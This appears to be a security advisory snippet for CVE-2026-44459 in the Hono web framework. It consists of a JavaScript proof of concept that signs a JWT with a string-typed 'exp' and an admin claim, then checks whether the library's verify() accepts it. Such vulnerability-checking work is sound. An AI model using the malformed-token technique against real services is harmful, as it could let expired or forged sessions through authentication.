CVE-2026-44459 Hono框架JWT验证绕过漏洞

// PoC for CVE-2026-44459: Hono JWT NumericDate Validation Bypass // This demonstrates generating a JWT with a malformed 'exp' claim // that bypasses time-based checks in vulnerable versions (< 4.12.18). import { sign, verify } from 'hono/utils/jwt' const secret = 'secret-key' // Create a token with a non-spec compliant 'exp' claim (e.g., a string) // According to spec, 'exp' should be a NumericDate (number). // A vulnerable implementation might accept this string and fail to check expiration correctly. const payload = { exp: "999999999999999999", // String instead of number user: 'admin' } const malformedToken = await sign(payload, secret) console.log("Generated Malformed Token:", malformedToken) // Attempt to verify the token try { // In vulnerable versions, this might succeed or not check the time properly const decoded = await verify(malformedToken, secret) console.log("Verification Result:", decoded) console.log("VULNERABLE: Token with invalid exp type was accepted.") } catch (e) { console.log("SECURE: Token rejected:", e.message) }